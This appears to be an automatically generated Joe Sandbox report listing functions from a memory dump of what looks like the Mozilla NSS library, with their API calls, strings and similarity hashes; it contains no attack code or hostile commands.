getnameinfo, xrefs: 6CB5CDB2, 6CB5CE23
wship6.dll, xrefs: 6CB5CDE3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction ID: ba3561f3da25026ce0c86ca06e4d6eb4ce347d68f42a4dd3091f000e0298dcb0
Opcode Fuzzy Hash: 3bcc6d086efffc8c15aee239c57726a2ba3e40fb2f6706d18e1f6b74231bc839
Instruction Fuzzy Hash: F21103E9F031A123EB05AE717C40AAE385A9B1611DF5C4935E815D2F80FB20C56C87F7

Function 6CAF6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CBC1DE0,?), ref: 6CAF6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAF6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CAF6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CAF6D82
DER_GetInteger_Util.NSS3(?), ref: 6CAF6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAF6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CAF6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CAF6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CAF6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CAF6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CAF7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CAF7033
free.MOZGLUE(?), ref: 6CAF703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CAF7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CAF7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CAF70AF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction ID: a61c9275ee0a37858dda9d87188251a987b2bdcd0eb183e962fb964c86fa1e05
Opcode Fuzzy Hash: ef9735621a81bc5b98d3b417e8c08331f46097a386882e9ec069e26ab21b0159
Instruction Fuzzy Hash: 62A1F6729142009BFB009F24DC55B6A32A5DB8131CF284939F979DBB81E775D8CAC793

Function 6CABAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF39
PR_Unlock.NSS3(?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABAF69
TlsGetValue.KERNEL32 ref: 6CABB06B
EnterCriticalSection.KERNEL32(?), ref: 6CABB083
PR_Unlock.NSS3(?), ref: 6CABB0A4
TlsGetValue.KERNEL32 ref: 6CABB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CABB0D9
PR_Unlock.NSS3 ref: 6CABB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABB182

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CABB177

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CA9AB95,00000000,?,00000000,00000000,00000000), ref: 6CABB1C2

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction ID: 255bd1a999680ef67adfd73984092d05472d02d100ead5f4f915a954d3773c0e
Opcode Fuzzy Hash: e50ad239b1a4a8174dc8862ac1709e1de290970eece54ee33ee26960ed709d49
Instruction Fuzzy Hash: FDA1B3B1D002059FEF009FA4ED81BEE7BB8EF08308F144125E909A7751E731E999CBA1

Function 6CB6A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB6A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB6A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB6A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB6A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6CB6A69A

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB6A61D, 6CB6A68B, 6CB6A6B3
%s at line %d of [%.10s], xrefs: 6CB6A62C
database corruption, xrefs: 6CB6A627

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: d6f9b9d339d75c9e7d5cd1b45febe56faf4153716b5886a743f0ce6bacda1052
Instruction ID: 364e34004804d9ede94bea7923c89e8de83d74c46e53dcc2eff7e240631a98a1
Opcode Fuzzy Hash: d6f9b9d339d75c9e7d5cd1b45febe56faf4153716b5886a743f0ce6bacda1052
Instruction Fuzzy Hash: 6651B3B1908391ABDF01CF26D890A5EBBE4EF84318F048869F88947A41E771DD95CF93

Function 6CB0AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0ADB1

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB0ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB0AE08

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0AE25
PL_FreeArenaPool.NSS3 ref: 6CB0AE63
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AE4D

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AE93
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CB0AECC
PL_FreeArenaPool.NSS3 ref: 6CB0AEDE
PL_FinishArenaPool.NSS3 ref: 6CB0AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0AEF5
PL_FinishArenaPool.NSS3 ref: 6CB0AF16

Strings

security, xrefs: 6CB0ADEE

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction ID: 193fe49c08a39f76f77622586e16cb76527104301440e00582c0749a1f3945aa
Opcode Fuzzy Hash: 632d0f8a6360c4e16512fabddd7cb836509d8df8c4883f9c37170c94597de6c8
Instruction Fuzzy Hash: A74148B5A0428067EB109B149C44BBB3BA8EF4231CF200D25E965D3F81FB35964D8ED3

Function 6CAFE8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CAFE853,?,FFFFFFFF,?,?,6CAFB0CC,?,6CAFB4A0,?,00000000), ref: 6CAFE8D9

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CAFE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CAFE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CAFEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CAFEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CAFEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CAFEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CAFEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CAFEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CAFEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CAFEBEC
free.MOZGLUE(00000000), ref: 6CAFEC58

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: d12441a8362dffb9f6387d176a28a6eb3a0389edaddfe1e7023d3b321bb323ca
Instruction ID: 7b780f854632ff3171e61c94880df14ae70a380d700490e8a60118f59375c1f6
Opcode Fuzzy Hash: d12441a8362dffb9f6387d176a28a6eb3a0389edaddfe1e7023d3b321bb323ca
Instruction Fuzzy Hash: C4C176B1E012059FEB10CF69D981BAEB7F4AF04318F180469F92697751E731E986CBD1

Function 6CAC6AF0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6CAC6B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6B53

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6CAC6B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6CAC6BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6CAC6C0A

Strings

pulLastPartLen = 0x%p, xrefs: 6CAC6B9B
(CK_INVALID_HANDLE), xrefs: 6CAC6B4C
hSession = 0x%x, xrefs: 6CAC6B2E, 6CAC6B3E
*pulLastPartLen = 0x%x, xrefs: 6CAC6C05
pLastPart = 0x%p, xrefs: 6CAC6B80
C_DecryptFinal, xrefs: 6CAC6B11

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal
API String ID: 1003633598-2565524109
Opcode ID: a371bc85da40f759d1cf1b29ce6e7b39f73ce1bdfab09264052a68e948d32221
Instruction ID: dd35b43bd049b2e2e494d1addf27db35c72c16422f7f3729967eca0f29c45604
Opcode Fuzzy Hash: a371bc85da40f759d1cf1b29ce6e7b39f73ce1bdfab09264052a68e948d32221
Instruction Fuzzy Hash: 6B31E6357411C4AFDB00DB68ED88FAE37B5EB42319F084028E919A7B11DB309999CB57

Function 6CAD29A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CAA6A5E,00000001,00000000,?,6CAA6540,?,0000000D,00000000), ref: 6CAD2A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CAA6A5E,00000001,00000000,?,6CAA6540,?,0000000D,00000000), ref: 6CAD2A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CAA6A5E,00000001,00000000,?,6CAA6540,?,0000000D), ref: 6CAD2A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA6A5E,00000001), ref: 6CAD2AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA6A5E,00000001,00000000), ref: 6CAD2ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA6A5E,00000001), ref: 6CAD2ADF
PR_Unlock.NSS3(?), ref: 6CAD2B38
PR_Unlock.NSS3(?), ref: 6CAD2B8B

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CAA6A5E,00000001,00000000,?,6CAA6540,?,0000000D,00000000,?), ref: 6CAD2CA2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 89070b69510aa0603cb843fe85b660e13c0eaa7436c1f702ba4c0542e5354ac6
Instruction ID: fa08b6ec1be37bc10324a853c1184766e4e55f6d75300538ae1ac1e1991d9b6a
Opcode Fuzzy Hash: 89070b69510aa0603cb843fe85b660e13c0eaa7436c1f702ba4c0542e5354ac6
Instruction Fuzzy Hash: 9EB1CD749006059FDB10DF68E988B9EB7B4FF09308F198629E855A3B11E731FD94CB91

Function 6CBAAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59890: TlsGetValue.KERNEL32(?,?,?,6CB597EB), ref: 6CB5989E

EnterCriticalSection.KERNEL32(?), ref: 6CBAAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CBAAFCE
PR_SetPollableEvent.NSS3(?), ref: 6CBAAFD9
EnterCriticalSection.KERNEL32(?), ref: 6CBAAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CBAB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB070
PR_JoinThread.NSS3(?), ref: 6CBAB07B
free.MOZGLUE(?), ref: 6CBAB084
EnterCriticalSection.KERNEL32(?), ref: 6CBAB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAB0C4
PR_JoinThread.NSS3(?), ref: 6CBAB0F3
free.MOZGLUE(?), ref: 6CBAB0FC
PR_JoinThread.NSS3(?), ref: 6CBAB137
free.MOZGLUE(?), ref: 6CBAB140

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction ID: 0576d98246cbb214c0e0aea72a88550c98e667b396834b53e49a60be87b20f8b
Opcode Fuzzy Hash: 9a5aaad52e515d80a9aedc6a2436aa1558227c3c6cd20e64d69557e8648ce8d3
Instruction Fuzzy Hash: 8B91BFB5900645CFCB04DF25C88084ABBF1FF4935872981A9D8599BB22E732FC5ACF91

Function 6CAB2980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71,?,?,6CAAF03D), ref: 6CAB29A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71,?), ref: 6CAB29B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71,?,?,6CAAF03D), ref: 6CAB29E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71,?), ref: 6CAB29F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71,?), ref: 6CAB2A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA99E71), ref: 6CAB2A13

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Unlock.NSS3(?), ref: 6CAB2A6A
TlsGetValue.KERNEL32 ref: 6CAB2A98
EnterCriticalSection.KERNEL32(?), ref: 6CAB2AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CAB2ABC
PR_Unlock.NSS3(?), ref: 6CAB2AC9
TlsGetValue.KERNEL32 ref: 6CAB2B3D
EnterCriticalSection.KERNEL32(?), ref: 6CAB2B51
PL_HashTableLookup.NSS3(?,6CA99E71), ref: 6CAB2B61
PR_Unlock.NSS3(?), ref: 6CAB2B6E

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

